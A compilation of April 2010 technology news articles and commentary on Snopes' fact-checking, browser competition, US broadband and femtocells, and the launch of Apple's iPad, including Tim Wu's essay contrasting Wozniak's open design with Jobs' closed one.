After 14 years, they seem to have concluded that people are rather cavalier about the facts.

In a given week, Snopes tries to set the record straight on everything from political smears to old wives’ tales. No, Kenya did not erect a sign welcoming people to the “birthplace of Barack Obama.” No, Wal-Mart did not authorize illegal immigration raids at its stores. No, the Olive Garden restaurant chain did not hand out $500 gift cards to online fans.

The Mikkelsons talk matter-of-factly about why these stories spread the way they do.

“Rumors are a great source of comfort for people,” Mrs. Mikkelson said.

Snopes is one of a small handful of sites in the fact-checking business. Brooks Jackson, the director of one of the others, the politically oriented FactCheck.org, believes news organizations should be doing more of it.

“The ‘news’ that is not fit to print gets through to people anyway these days, through 24-hour cable gasbags, partisan talk radio hosts and chain e-mails, blogs and Web sites such as WorldNetDaily or Daily Kos,” he said in an e-mail message. “What readers need now, we find, are honest referees who can help ordinary readers sort out fact from fiction.”

Even the White House now cites fact-checking sites: it has circulated links and explanations by PolitiFact.com, a project of The St. Petersburg Times that won a Pulitzer Prize last year for national reporting.

The Mikkelsons did not set out to fact-check the Web’s political smears and screeds. The site was started in 1996 as an online encyclopedia of myths and urban legends, building off the couple’s hobby. They had met years earlier on a discussion board about urban legends.

Mr. Mikkelson was a dogged researcher of folklore. When he needed to mail letters requesting information, he would use the letterhead of the San Fernando Valley Folklore Society, an official-sounding organization he dreamed up. They would investigate the origins of classic tall tales, like the legend of the killer with a prosthetic hook who stalked Lovers’ Lane, for a small but devoted online audience.

After the Sept. 11 terrorist attacks, users overwhelmed the Mikkelsons with forwarded e-mail claims and editorials about the culprits and the failures of the government to halt the plot, and the couple reluctantly accepted a larger role. They still maintain a thorough list of what they call “Rumors of War.”

Less than a year later, Snopes became the family’s full-time job. Advertisements sold by a third-party network cover the $3,000-a-month bandwidth bills, with enough left over for the Mikkelsons to make a living — “despite rumors that we’re paid by, depending on your choice, the Democratic National Committee or the Republican National Committee,” Mr. Mikkelson said.

Much of the site’s resources are spent on investigating political claims, even though the Mikkelsons say politics is the last subject they want to write about. (Barbara cannot even vote in American elections; she is a Canadian citizen.) Claims relating to President Obama are now the top searches on the site but “even when there were Republicans in the White House, the mail was still overwhelmingly anti-liberal,” Mr. Mikkelson said.

In late August, Mr. Mikkelson studied an e-mail chain letter titled “The Last of the Kennedy Dynasty” purporting to explain why the late Senator Edward M. Kennedy was unfit for acclaim. Some of its 10 bullet points were true (yes, Mr. Kennedy was cited for reckless driving while in college), but others were misleading assumptions (no, his accomplishments were not “scant”).

Mrs. Mikkelson rolled her eyes at her husband’s plans to fact-check the chain letter. “That’s ephemera,” she said.

He agreed, but the Kennedy report wound up being the Web site’s most-searched subject the next weekend.

The Mikkelsons employ two others full time to manage the enormous volume of e-mail to the site. Increasingly, curious readers are sending videos and photos as well as e-mail, requiring even more investigation. They publish on average one new article each day.

The enduring articles are the ones about everyday fears: computer viruses, scams, missing children. Some e-mail chain letters, like the one offering users $245 for forwarding the message, never fade away.

“People keep falling for the same kind of things over and over again,” Mr. Mikkelson said. Some readers always seem to think, for instance, that the government is trying to poison them: Mrs. Mikkelson said rumors about AIDS have been recycled into rumors about swine flu vaccines.

For the Mikkelsons, the site affirms what cultural critics have bemoaned for years: the rejection of nuance and facts that run contrary to one’s point of view.

“Especially in politics, most everything has infinite shades of gray to it, but people just want things to be true or false,” Mr. Mikkelson said. “In the larger sense, it’s people wanting confirmation of their world view.”

The couple say they receive grateful messages from teachers regularly, and an award from a media literacy association sits atop the TV set in Mr. Mikkelson’s home office.

It is not just the naïveté of Web users that worries the “Snopesters,” a name for the Web site’s fans and volunteers. It is also what Mr. Mikkelson calls “a trend toward the opposite approach, hyper-skepticism.”

“People get an e-mail or a photograph and they spot one little thing that doesn’t look right, and they declare the whole thing fake,” he said. “That’s just as bad as being gullible in a lot of senses.”

But even though Snopes pays the bills for the couple now, through advertising revenue, they doubt they are having much of an impact.

“It’s not like, ‘Well, we have to get out there and defend the truth,’ ” Mrs. Mikkelson added. “When you’re looking at truth versus gossip, truth doesn’t stand a chance.”
http://www.nytimes.com/2010/04/05/te.../05snopes.html





Browser Wars Get a Boost with Google-Adobe Partnership
Paul Krill

Google's partnership this week with Adobe Systems, which has the Flash Player being bundled with the Google Chrome browser, has the potential to take relatively vigorous competition in the browser market to an even more-heated level, an IDC analyst said in a bulletin this week.

The Google-Adobe move has produced mixed reactions, with some questioning Google's commitment to Web standards like HTML5, since Flash Player is a proprietary plug-in for rich Internet applications. But IDC analyst Al Hilwa sees broader implications and calls the partnership a win for Adobe.

"The consequences of this announcement may affect how PCs, smartphones, and a slew of next-generation content consumption devices like tablet computers evolve as platforms for applications," Hilwa said. "Browsers are not just gateways to the Internet, but they also present a platform for developing and deploying user applications."

Hilwa noted Flash's ubiquity, with 99 percent of all Internet users having downloaded it to their browsers. "The integration of Flash Player into one of the major browsers is a small win for users who may reap simplicity of operation and agility in getting up to speed to the Web," Hilwa said.

"At its most basic value, it avoids the extra step to download the Flash player when a new system is purchased, installed or a new browser is installed. While users can turn the plug-in off, by default Google will update this version of Flash Player through its automatic Chrome update processes thus ensuring that security holes in the browser and its plug-in are patched promptly and kept up-to-date," he said

The principle of a plug-in integration should make for a more secure environment, said Hilwa.

Google's accommodations for Flash show that the company is able to demonstrate a more pragmatic side, Hilwa said. Other browsers may follow suit to integrate with Flash, said Hilwa. Microsoft might be inclined to bundle its own Silverlight plug-in with the internet Explorer, Hilwa said.

He noted Adobe and Google also are participating in an effort to build a new plug-in API for browsers, an effort that Hilwa said could be stymied without broader industry support . This project will bring benefits in resource consumption, usability and user experience, Hilwa said.

"But to be truly useful for the industry, other browser vendors like Microsoft, Apple, and Opera must show willingness to implement it," said Hilwa.

Apple, meanwhile, is keeping Flash off iPhone and its new iPad device, arguing Flash consumes too much resources, Hilwa said.

"The Apple position is clearly a significant wrinkle in Adobe's strategy but it is also a problem for iPhone and

iPad users who are unable to view Flash Web content or run Flash Web applications on their devices," said Hilwa.
http://www.pcworld.com/article/19332...rtnership.html





Chrome Growing in Popularity Faster Than Rival Browsers
Jolie O'Dell

Chrome’s share of the browser market is growing at a breakneck pace, according to data from Net Applications. Between February and March, Google’s browser rose to capture a full 6.1% share of the market, maintaining its lead over browsers such as Safari and Opera and closing the gap between Firefox, which currently holds a 24.5% share.

While most browsers rose a fraction of a percent, Microsoft’s Internet Explorer continued to decline, losing almost a whole percent over the past month alone.

Part of Chrome’sChromeChrome increase may be due to Mac users. In December, Chrome for Mac was released, but many users were loathe to switch browsers because the early beta didn’t have extensions or support bookmark syncing. All of that changed with a new version released in February. At that point, Mac users were given all of the bells and whistles that PC users had, and so many opted to make the move to Chrome.

In a quick pollpollpoll we conducted on Twitter, many users said they heard Chrome was quicker and migrated from FirefoxFirefoxFirefox, SafariSafariSafari and Internet ExplorerInternet ExplorerInternet Explorer. But others said they still stick with Firefox due to a few key features — such as Firebug and certain extensions — that Chrome doesn’t have yet. Others complained that Chrome was unstable or couldn’t handle certain websites or user behaviors as well as Firefox. And some of those in the enterprise are still bound to IE, at least during business hours.
http://mashable.com/2010/04/06/chrome-growth-2/





Verizon CEO: Studies be Damned, US is Tops in Broadband
Nate Anderson

Verizon CEO Ivan Seidenberg sat down for an on-the-record conversation yesterday at the Council for Foreign Relations, and he pulled no punches: the US is number one in the world when it comes to broadband. We're so far ahead of everyone else, it's "not even close."

Given that a central piece of the National Broadband Plan was concerned with America's poor showing on broadband metrics, this was an intriguing claim to make. In essence, Seidenberg hauled out one of the NBP's main reasons for existence and just kicked it in the groin. Perhaps we don't even need a national plan?

Seidenberg: Anytime government—whether it's the FCC or any agency—decides it knows what the market wants and makes that a static requirement, you always lose. So this FCC decided that speed of the network was the most important issue. So that's all they measured.

So they will say, if you go to Korea or you go to France, you can get a faster Internet connection. Okay? That could be true in some companies—in some countries. The facts are that, in the US, there is greater household penetration of access to the Internet than any country in Europe.

In Japan, where everybody looks at Japan as being so far ahead, they may have faster speeds, but we have higher utilization of people using the Internet. So our view is, whenever you look at these issues, you have to be very careful to look at what the market wants, not what government says is the most important issue.

Let's take wireless, for example. Everybody says the European system was kind of better. Well, that's very interesting. If you look at minutes of use, the average American uses their cell phone four times as much—four times as much—as the average European. If you look at Europe, they publish penetration rates of 150 (percent), 160 (percent), 170 percent meaning that people have more than one phone, two phones, three phones.

You know why? Roaming rates are so high. My guess is you probably have two or three different phones to carry to—to use in different countries because your roaming rates are so high. And you say, yes.

So my point is it's a fallacy to allow a regulatory authority to sit there and decide what's right for the marketplace when it's not even close.

[WSJ executive editor Alan] Murray: So on the measures that matter most to you, where does the United States rank in terms of—

Seidenberg: One. Not even close.

Murray: Number one?

Seidenberg: Yes. Verizon has put more fiber in from Boston to Washington than all the Western European countries combined. All. We have—if you look at smart phones—not us, Apple, Google—they have exploded this market in the US. Ask any European if they're not somewhat envious of the advancements of smartphone technology in the US. So it just seems to me this is just not even close.

Given how mind-blowingly awesome US Internet is, one can't help but wonder why France's Free.fr can offer a triple play of phone, TV, and Internet for €30 a month. Perhaps price and features, along with speed, aren't really "important" to consumers, either.

In any event, we also learned that Seidenberg has an iPad, but that he didn't stand in line for it.

Murray: You didn't stand in line on Saturday?

Seidenberg: No, I had somebody else stand in line. (Laughter.) But we had people standing in line.

Finally, if you're a high-bandwidth user of Verizon's smartphone data services, the company will soon hunt you down and throttle you. (The company has long had a maximum transfer limit on monthly data plans.)

Seidenberg: But when we now go after the very, very high users, the ones who camp on the network all day long every day doing things that—who knows what they're doing—those are the—

Murray: It's video, right? I mean, it's video.

Seidenberg: But those are the people we will throttle and we will find them and we will charge them something else.

Seidenberg is a colorful guy, and the interview is worth reading and watching in full. In particular, look out for his answer to the question, "What's a cable splicer?"
http://arstechnica.com/tech-policy/n...-broadband.ars





A Mini-Tower to Bring You the Signal You’re Already Paying For
Matt Richtel

Faced with withering criticism for its spotty iPhone service, AT&T blames in part a shortage of cellphone towers near homes and businesses. But it has a solution: put a miniature cell tower in your living room.

There’s a catch, though. You have to pay for it. And that is making some customers angry.

The size of a couple of decks of cards, these mini-towers act and look like Wi-Fi hot spots at cafes, and redirect cellphone calls from congested cell towers to home Web connections.

“It’s a fabulous idea, especially if you can’t get service, but to charge for it is insulting,” said Christina Zachariades, 28, of Manhattan who already pays $130 a month for iPhone service but cannot receive or make calls in her fifth-floor apartment on the Upper East Side. “How much more do I have to pay to get the service required for me to use my phone?”

Despite complaints like this, the technology is poised for big sales, thanks to price drops but also because of the entrance into the market by AT&T. Other companies — Verizon, for example — have already marketed their mini-towers for niche use to customers in places with limited cellphone signals, like basements or homes with particularly thick walls.

But although AT&T says its mini-towers will help in that kind of situation, it also acknowledges that it wants to help iPhone users who cannot get consistent signals.

The company plans this month to start selling what it calls “MicroCells” in a few places for $150.

Even though the calls would be offloaded to an Internet service provider, AT&T customers would be charged for the minutes of phone service in their existing wireless plans unless they pay an extra $20 a month for unlimited calling. (The call volume is not expected to clog the Internet’s pipes.)

Over the long term, basic economics favors mini-towers in homes over big towers, said Pasquale Romano, chief executive of 2Wire Inc., a company in San Jose, Calif., that is developing one of the devices.

He said it did not make sense for carriers to spend money building large towers in residential areas because most people are not home during the day; as it is, AT&T already plans to spend $8 billion this year on improving its wireless coverage, including on big towers, according to public filings.

And the mini-tower, Mr. Romano said, will pay consumers a big dividend. “It’ll make your cellphone work perfectly at home,” he said.

But David S. Isenberg, a telecommunications industry analyst who recently worked as a senior adviser to the Federal Communications Commission, said mini-towers were a better deal for AT&T than for its customers.

“It directly addresses a deficiency AT&T has gotten a black eye from with its iPhone,” he said. But he added that the company also had a chance to lock in customers with new deals that include a mini-tower. “It’s so much more of an advantage for AT&T than it is for the customer.”

The price for the AT&T device could fall to $49 if consumers buy a broadband or in-home calling plan, and could be free to customers who buy both. Still, marketing mini-towers has its risks for AT&T. Even though it expects the towers to improve signal quality and take pressure off its network, they could displace landline telephones because wireless consumers will not need a second phone number. And while landlines are quickly disappearing, they still bring the phone companies billions of dollars.

David Christopher, chief marketing officer for AT&T’s wireless and consumer markets, said the company initially plans to sell the devices in only a few cities, including New York and San Francisco. They are among the cities with high concentrations of iPhone users who complain that the service does not work even in homes and offices with direct line of sight to traditional cellphone towers.

“This has very interesting longer-term potential,” Mr. Christopher said of the microcells. “We have to be thoughtful that this doesn’t cause more cord-cutting,” he added. At AT&T, residential landlines have fallen about a third since 2006, to 26.4 million.

An AT&T spokesman, Mark Siegel, said consumers frustrated by iPhone service and concerned about paying for a MicroCell were asking a fair question. But, he said, “we are taking significant steps to improve our service.” And a mini-tower, he added, was “another alternative.”

Industry analysts say mini-towers, known as femtocells, are poised for spectacular growth. Shipments should grow from 571,000 this year, to 1.9 million next year, to 40 million by 2013, according to iSuppli, a market research firm.

And falling prices will help propel sales. Two years ago, for example, consumers would have paid $500 or more.

Cisco, Samsung and Netgear are among the companies that make the towers; Qualcomm and Texas Instruments, which make chips for phones, have also developed products.

Francis Sideco, an analyst at iSuppli, said there were still bugs to be worked out before femtocells become a mass-market product like wireless routers or storage devices, which were once hard to market.

Wireless phone companies must make sure they do not interfere with one another; work even when consumers change their location in a house or business; and work seamlessly with the larger cell towers, so that calls can be handed from one to the other.

Sprint sells its mini-tower for $99, along with a $4.99 monthly fee that it markets as “having your own miniature cell tower.” Verizon introduced its “Network Extenders” in January 2009; the company sells them for $250 and says they are meant for residents whose homes have unusual geographic constraints that limit cellphone signals.

Tom Pica, a Verizon spokesman, said the product had found a niche market.

There also are ways to connect mobile phones to Wi-Fi hot spots, but that requires people to download software, like Skype, to route the calls to the cellular network.

AT&T says its mini-towers will help not just the customers who own them but others using the AT&T network because there will be less traffic. AT&T says its device is the first femtocell on the market to allow users to send not just voice signals but also data over their phones.

“It’s a great user experience, and it’ll help offload data from our network,” Mr. Christopher said.

It could be great, customers say, but grudgingly.

“They want to find a new way to make money off me, versus actually servicing me for the money I pay already,” Ms. Zachariades said. “They’re trying to find a way to profit from their weakness.”
http://www.nytimes.com/2010/04/07/te...gy/07cell.html





Mobile Operator 3 is to Offer a MiFi Device with a Car Kit, for Wireless on the Road.
Nicole Kobie

Want your very own wireless hotspot to follow you everywhere you drive? Mobile operator 3 has unveiled its in-car Wi-Fi to offer just that.

Revealed at The Gadget Show in Birmingham this week, the system connects over a 3G network, letting users create their own local wireless connection in the same way as 3's MiFi device - indeed, it's essentially a re-packaged version of that device with a car kit.

While drivers will hopefully steer away from using the web at the wheel, 3 predicts the mobile hotspot will let passengers entertain themselves with their iPods, netbooks or gaming consoles, as well as give access to traffic updates, email and music on the go.

David Kerrigan, head of internet services at 3, claimed a quarter of those surveyed by the company wanted internet-enabled cars, especially families and mobile workers.

"Mobile workers can check traffic information and email on route to a meeting and kids can social network or download tracks to an iPod Touch while on a road trip,” he said in a statement.

For £59.99, the In Car Wi-Fi kit comes with a Huawei MiFi modem, mains and in-car charger, and windscreen holder, as well as 1GB of data for a month. Buying a MiFi device from the company on a pay-as-you-go basis costs £69.
http://www.itpro.co.uk/622180/3-unve...t-for-your-car





Apple's New iPad Hit by Technical Glitches as Users Complain they are Unable to Connect to the Internet
Graham Smith and Claire Bates

The launch of Apple's long-awaited iPad has been marred by reports of the device having technical problems connecting to wi-fi networks.

Apple sold more than 300,000 iPads on its launch day in the U.S. on Saturday. This figure includes pre-orders of the touch-screen device that blends features of the iPhone, electronic book readers and tablet computers.

But many new users have posted comments on Apple forums reporting that their iPad has little or no wireless internet signal when their other wi-fi devices work with no issues at all.

'All my devices, two laptops and iPhone have a strong signal, but my iPad does not connect to the internet at home at all and has a weak connection at work,' aa514 from Los Angeles wrote.

Another user - andyspocket from Nashville, Tennessee - complained: 'I never imagined how USELESS this device is without connection - can basically only type notes in notepad app.

'I made an appointment with Apple Store and they replaced my iPad with a new one. Fingers crossed for better luck on this one.'

The initial version of the iPad is only able to link to the internet via its wi-fi antenna.

Some users have speculated the problem may be that the antenna is located behind the Apple logo on the back of the $499 (£325) device.

Michael Arrington, editor of the blog TechCrunch, reported 'scores of complaints' - and said he too was having difficulties with his wireless connection.

He said: 'My understanding of wi-fi issues on devices, particularly cramped devices like the MacBook Air and iPad, is that it’s usually a hardware/design issue and something that can’t be fixed via a software patch.'

One disgruntled user wrote: 'I have rebooted the iPad three times, doesn't help. My Macbook is running on the same wi-fi network just fine. Not spending $500 on something I can't even use. It's going back tomorrow.'

An Apple spokesman was unavailable to comment on the complaints.

Nevertheless, the iPad made a strong debut, though smaller than when the iPhone was launched.

Some British Apple fans, such as Mancunian Simon Cox, travelled to the U.S. to get their hands on the product.

The maths teacher, on a visit to New York, said he immediately used it to email friends from the store after buying it.

'It looks fantastic, so nice to hold and play and touch,' he said, noting that the device is smaller than he expected. 'It's easier to carry around. I certainly know I'll use it when I'm out and about.'

Queues were considerably smaller than the crowds which gathered for the iPhone's debut in July 2007, according to reports. On the iPhone's launch weekend it was reported that up to 525,000 phones had been sold.

However, while it sells for $499 in store iPads have been spotted for sale on eBay for $630 (£411) to $650 (£424).

In addition, Apple said that iPad owners downloaded over a million applications from its app store and more than 250,000 electronic books on Saturday. Publishers are hoping the device will help stem the decline in book sales.

Tablets have been available in one form or another since the 1990s, without ever catching on. The iPad will therefore push Apple's ability to conquer new markets to the limit.

Still, analysts have scaled up their sales predictions since the launch.

Gene Munster from Piper Jaffray & Co's said initial sales may have reached 700,000 units, more than double his initial prediction of 200,000 to 300,000 devices.

Meanwhile Toni Sacconaghi from Sanfrod C Berstein & Co's said Apple may sell around five million iPads in the first year, compared with 6.1million iPhones over the same period.

Apple had notched up the hype in the run up to launch. Last week they published 11 guided video tours of the iPad and its software.

This was followed by the iPad appearing in an episode of the popular ABC series 'Modern Family', as a sought-after birthday gift for one of the characters.

Then on Thursday, a handful of American reviewers (as well as Stephen Fry) were finally given the device to test out, and gave surprisingly positive responses across the board.

Many gadget gurus had derided the tablet computer at its January launch, as a lack-lustre bigger version of the iPhone with few new features.

But critics from the Wall Street Journal and New York Times both praised the iPad's ease of use and battery life - which lasted longer than Apple's claim of 10 hours.

Reviewers at both papers said the tablet computer, which goes on sale in the UK later this month, works nicely for web surfing or consuming media like video and books.

'If you're mainly a web surfer, note-taker, social-networker and emailer, and a consumer of photos, videos, books, periodicals and music... this could be for you,' Mr Mossberg said.

However, he added that the speedy device, which will start at $499, had 'annoying limitations.'

'The email program lacks the ability to create local folders or rules for auto-sorting messages, and it doesn't allow group addressing. The browser lacks tabs. And the Wi-Fi-only version lacks GPS,' he said.

Mr Pogue described the 9.7in tablet as 'so bright and responsive', but added: 'The bottom line is that you can get a laptop for much less money with a full keyboard, DVD drive, USB jacks, camera-card slot, camera, the works.'
http://www.dailymail.co.uk/sciencete...-internet.html





Copyright Complicates iPad Sales Here
David Friend

As Apple Inc. celebrated a first weekend of iPad sales in the United States, some analysts suggest the hotly anticipated device will have a tougher challenge when it hits the Canadian market later this month.

Part of the uphill battle comes down to content – because what many American users might find appealing about Apple's new touch-screen tablet may be exactly what Canadian users will not be able to see – books, television shows and other applications.

Deloitte technology analyst Duncan Stewart said one of the biggest setbacks initially for Canadian users may be an already-familiar pet peeve on the Internet.

"If you've ever been sent a link from a U.S. friend, saying, `Hey, (watch) this cool comedy clip,' half the time it doesn't work north of the border," Stewart said.

It boils down to domestic licensing and copyright ownership, a crux of technological revolution that has slowed the speed with which many Canadians adopt new devices, whether it's the iPod or streaming television over the Internet.

Canadians were years behind Americans when it came to both those technologies, partly because there just wasn't enough content to make using them worthwhile, at first. Similar lockouts and a drought of content could face Canadian users in the early days of the iPad, after it debuts here in late April, Stewart suggested.

"If iPads are available in Canada this month, it doesn't mean that the content for the iPads will also be available at the same time," he said.

The relatively fast pace of the iPad debut has left some Canadian companies scrambling to come up with solutions to get their content on the portable screens.

Toronto Star spokesman Bob Hepburn said the newspaper is in the process of creating a program that will display its content in an iPad-friendly format, in an application quite similar to that of The New York Times. He said it is unlikely the app will be ready for the iPad's Canadian launch.

Meanwhile, The Globe and Mail already has a program that will convert its stories into a format intended for both iPhones and iPads.

The case was similar last year when Amazon's Kindle made its Canadian debut, with hardly any Canadian content available. Even such iconic authors as Margaret Atwood and Alice Munro had only a handful of titles available in the early days.

Over the weeks and months after Kindle's debut, more titles began to appear for Canadian shoppers but licensing issues still keep some titles from making their way onto the domestic version of the device.

On Apple's Canadian iTunes store, licensing issues prevent some popular entertainment content from being available. Most music releases are available on both sides of the border but mainstream movies and TV shows are not necessarily available in Canada.

Popular U.S. cable series such as the second season of TNT's Southland and Leverage sell on U.S. iTunes but, if you try to buy them in Canada, it's as if they do not exist.

Carmi Levy, an independent technology analyst, suggests it will take even more time for some of these licensing issues to be ironed out and for Canadian consumers to warm to the new device. "Like the iPod, I would expect it to start slowly and build and accelerate over time."

A specific release date in late April and price points for the Canadian iPad have not been announced.

Apple said Monday those who bought iPads Saturday in the U.S., downloaded more than a million applications and more than 250,000 electronic books from its iTunes store the same day.
http://www.thestar.com/business/arti...pad-sales-here







Donald Robertson III

The man in the picture is John Sullivan, the Operations Manager for the Free Software Foundation. (Full disclosure: I'm the Copyright Administrator at the FSF). He's protesting outside the launch of the iPad.

When companies develop and promote devices that not only use proprietary software, but take the additional step of locking down which proprietary software may be installed or even developed, that's a cause for concern for everyone. This isn't about whether or not Apple is cool; it's about whether Apple is ethical. If a company is being unethical, you don't ignore it simply because you can avoid it's most harmful policies. If you care about how it negatively affects other people, you work against it.

That's what John is doing, and it's something that I strive to do as well.
http://www.reddit.com/r/pics/comment..._right/c0nurfo





The Apple TwoThe iPad is Steve Jobs' Final Victory Over the Company's Co-Founder Steve Wozniak.
Tim Wu

In 2006, professor Jonathan Zittrain of Harvard Law School predicted that over the next decade there would be a determined effort to replace the personal computer with a new generation of "information appliances." He was, it turned out, exactly right. But the one thing he couldn't forecast was who would be leading the charge. How, indeed, could anyone have guessed that Apple Inc., the creator of the personal computer, would lead the effort to exterminate it?

There are many interesting things to be said about the iPad. It might save publishing, television, and journalism. It might overrun Sony and Microsoft in computer gaming.

It also might turn Americans back into the passive couch potatoes they were in the 1950s. But perhaps the greatest story is of Apple itself, and the degree to which the iPad's design does battle with the company's own history and the computing legacy of its co-founder, Steve Wozniak.

Apple is a schizophrenic company, a self-professed revolutionary that is closely allied with establishment forces like the entertainment conglomerates and the telecommunications industry. To understand this contradiction we need to look back to Apple's origins. Let's go back to a day in 1971 when we find a bearded young college student in thick eyeglasses named Steve Wozniak hanging out at the home of Steve Jobs, then in high school. The two young men, electronics buffs, were fiddling with a crude device they'd been working on for more than a year. That day was their eureka moment: Apple's founders had managed to hack AT&T's long-distance network. Their invention was a "blue box" that made long-distance phone calls for free. The two men, in other words, got started by defrauding the firm that is now perhaps Apple's most important business partner.

The anti-establishment spirit that underpinned the blue box still gives substance to the iconoclastic, outsider image Apple and Steve Jobs have long cultivated. Back in the 1970s, the inventors reinforced their company's ethos with their self-styling as counterculturals. Both men had long hair and opposed the Vietnam War. Wozniak, an inveterate prankster, ran an illegal "dial-a-joke" operation; Jobs would travel to India in search of a guru.

But the granular truth of Apple's origins was a bit more complicated than the simplifying imagery suggested. Even in these beginnings, there was a significant divide between the two men. There was no real parity in technical prowess: It was Wozniak, not Jobs, who had built the blue box. And it was Wozniak who conceived of and built the Apple and the Apple II—the personal computer that would be unquestionably the most important Apple product ever and arguably among the most important inventions of the latter 20th century. Jobs was the businessman and the dealmaker, essential as such, but hardly the founding genius of Apple computers, the man whose ideas became silicon and changed the world. That was Wozniak.

Wozniak's Apple took personal computing, an obscure pursuit of the hobbyist, and made it into a culture-wide phenomenon, one that that would ultimately transform not just computing, but communications, entertainment, business—in short the whole productive part of American life. And in doing so he made the ideology he followed—"open computing"—America's ideology. Of course, such an idea didn't originate with Apple; it was at least as old the ideas of Man-Computer Symbiosis in the 1960s. By the 1970s, it was an orthodoxy of amateur societies, like the Bay Area's Homebrew Computer Club, where Wozniak offered the first public demonstration of the Apple I in 1976.

Wozniak's design was open and decentralized in ways that still define those concepts in the computing industries. The original Apple had a hood, and as with a car, the owner could open it up and get at the guts of the machine. Although it was a fully assembled device, not a kit like earlier PC products, Apple owners were encouraged to tinker with the innards of Wozniak's machine—to soup it up, make it faster, add features. There were slots to accommodate all sorts of peripheral devices, and it was built to run a variety of software. Wozniak's ethic of openness also extended to disclosing design specifications. In a 2006 talk at Columbia University, he put the point this way: "Everything we knew, you knew." To point out that this is no longer Apple's policy is to state the obvious.

While a computer you can modify might not sound so profound, Wozniak contemplated a nearly spiritual relationship between man and his machine. He held, simply, that machines should be open to their owners and that all power should reside in the user. That notion mattered most to geeks, but it expressed deeper ideas, too: a distrust of centralized power and a belief, embedded in silicon, that computers should be tools of freedom.

In 2006, when Wozniak gave his talk at Columbia, I asked him what happened with the Mac. You could open up the Apple II, and there were slots and so on, and anyone could write for it, I said. The Mac was way more closed. What happened?

"Oh," said Wozniak. "That was Steve. He wanted it that way."

Apple's origins were pure Steve Wozniak, but the Mac, the iPod, the iPhone, and the iPad are the products of the company's other founder. Steve Jobs' ideas have always been in tension with Wozniak's brand of idealism and the founding principles of Apple. Jobs maintained the early, countercultural image that he and Wozniak created, but beginning with the Macintosh in the 1980s, and accelerating through the iPhone and climaxing with the iPad's release this month, he has taken Apple on a fundamentally different track, one that is, in fact, nearly the opposite of the Wozniak vision.

Jobs believes in perfection, not muddling through. He would seem as much at home in Victorian England as behind the counter of a sushi bar: a man who believes in a single best way of performing any task and presenting the results. As one might expect, his ideas embody an aesthetic philosophy as much as a sense of functionality, which is why Apple's products look so good while working so well. But those ideas have also long been at odds with the principles of the early computing industry, of the Apple II, and of the Internet. The ideology of the perfect machine and open computing are contradictory. They cannot coexist.

As Wozniak told me in 2006, it was the Macintosh, launched in 1984, that marked the first departure from many of his ideas as realized in the Apple II. To be sure, the Macintosh was a radical innovation in its own right, being the first mass-produced computer to feature a "mouse" and a "desktop," ideas born in the mind of Douglas Engelbart in the 1960s and that had persisted without fructifying in computer science labs ever since. Nevertheless the Mac represented an unconditional surrender of Wozniak's openness, as was obvious from the first glance: There was no hood. You could no longer easily open the computer and get at its innards. And only Apple stuff, or stuff that Apple approved, could run on it (as software) or plug into it (as peripherals). Apple thus became the final arbiter over what the Macintosh was and was not, rather in the way that AT&T at one time had sole discretion over what could and could not connect to the telephone network.

Now in 2010, the iPad takes the same ideas to their logical extreme. It is a beautiful and nearly perfect machine. It is also Jobs' final triumph, the final step in Apple's evolution away from Wozniak and toward a closed model. The main, and most important, concession to openness is the App Store, a creation that shows Jobs learned something from Apple's bitter defeat by Microsoft in the 1990s. You cannot run software Apple does not distribute itself. You cannot access the file system unless you hack the machine. You cannot open the hood; indeed, the machine lacks any screws. I compared my iPad to various appliances around the home—coffee machines, toaster, cameras—and the only thing comparably sealed was, well, an iPod. The iPad has no slots; its only interface is an Apple-specific plug. Oddly enough, this all means that the iPad is not a machine that Apple's founders, in the 1970s, would have ever considered buying.

But this may not matter for many people, for the iPad is handy tool for getting well-produced content from the industries that make it. And even if it doesn't do everything a computer does, it still does most things. Still, it is meant for consumers not users, and as such has far more in common with the television than the personal computer. It is not meant for the Homebrew Computer Club—for tinkerers, hobbyists, or for that matter, creators.

Steve Wozniak has said that he pre-ordered three iPads, two for himself and one for a friend. This is a testament to his incredible good nature and his loyalty both to the firm that marginalized him in the 1980s and to a friend, Jobs, who refused to write a foreword for his memoirs. Yet somewhere, deep inside, Wozniak must realize what the release of the iPad signifies: The company he once built now, officially, no longer exists.
http://www.slate.com/id/2249872/





Apple iPad Delivers on Entertainment, but Lacks Productivity Punch
Melissa J. Perenson

The Apple iPad ushers in the era of tablet computing, with a slate-style handheld that looks nothing like a typical computer. in fact, the iPad is more reminiscent of an oversize iPhone than a laptop. But because the iPad's screen is three times larger than that of the iPhone/iPod Touch, you'll be tempted to use the iPad for activities you wouldn't consider doing with an iPhone. Innovative apps and content optimized for the spacious, high-resolution touchscreen make the iPad a treat to use. Nevertheless, the iPad's other limitations make it hard to recommend as a replacement for (rather than as a complement to) the devices you may be carrying around today.

Apple plans to offer six variants of the iPad, starting with the three Wi-Fi models available now: a 16GB model ($499), a 32GB model ($599), and 64GB model ($699). In late April, Apple will ship three additional models that tack on 3G capability, for an extra $130 each. The 3G models will also have a GPS chip inside.

Setting Up iPad

Power up the iPad, and it immediately prompts you to connect to iTunes. I had iTunes open already; and it immediately recognized the iPad and ushered me through a series of screens to register my iPad and set up my iTunes Store Account.

Setup did have some hiccups, starting with the fact that iTunes erroneously thought that I had previously synced an iPad with this computer, listing a last synced date of 6/18/2009; evidently, it mistook my new iPad for an iPhone (I had synced my current iPhone to the computer just the day before). As such, during setup it offered me options to set up as a new iPad or to restore from the backup of either my first iPhone (a former iPhone 3GS) or my current iPhone 3GS.

I chose to set up as a new iPad. From there I got to name the device and choose how to sync it. I opted to sync songs and videos to my iPad automatically (so iTunes will sync the iPad to mirror my iTunes music library and playlists), and to add photos from my Pictures folder automatically. Finally, I selected to sync apps to the iPad automatically; consequently, the iPad performed an initial sync, during which iTunes a slew of iPad apps that I had predownloaded to the device.

I hadn't anticipated that iTunes would pick up all of the settings from my previous iSomething devices--for instance, the folders I'd selected for my iPhone, the apps I'd selected for my iPhone, and the music and videos I'd already selected for my iPhone. After an hour of app downloading, I interrupted the transfers to get music, video, and photos on there, too.

The usable capacity of the 64GB model shows as 59.17GB. On the primary sync screen, you can choose to sync iTunes automatically when the iPad is connected, to sync only checked songs and videos, to prefer standard-definition videos (an option that's not clearly explained), to convert higher-bit-rate songs to 128 kbps AAC, to manage music and videos manually (another unclear option), and to password-encrypt the iPad backup. Click the Universal Access button to bring up audiovisual aids, such as voice over and zoom, white-on-black text display, speak auto-text, and mono audio.

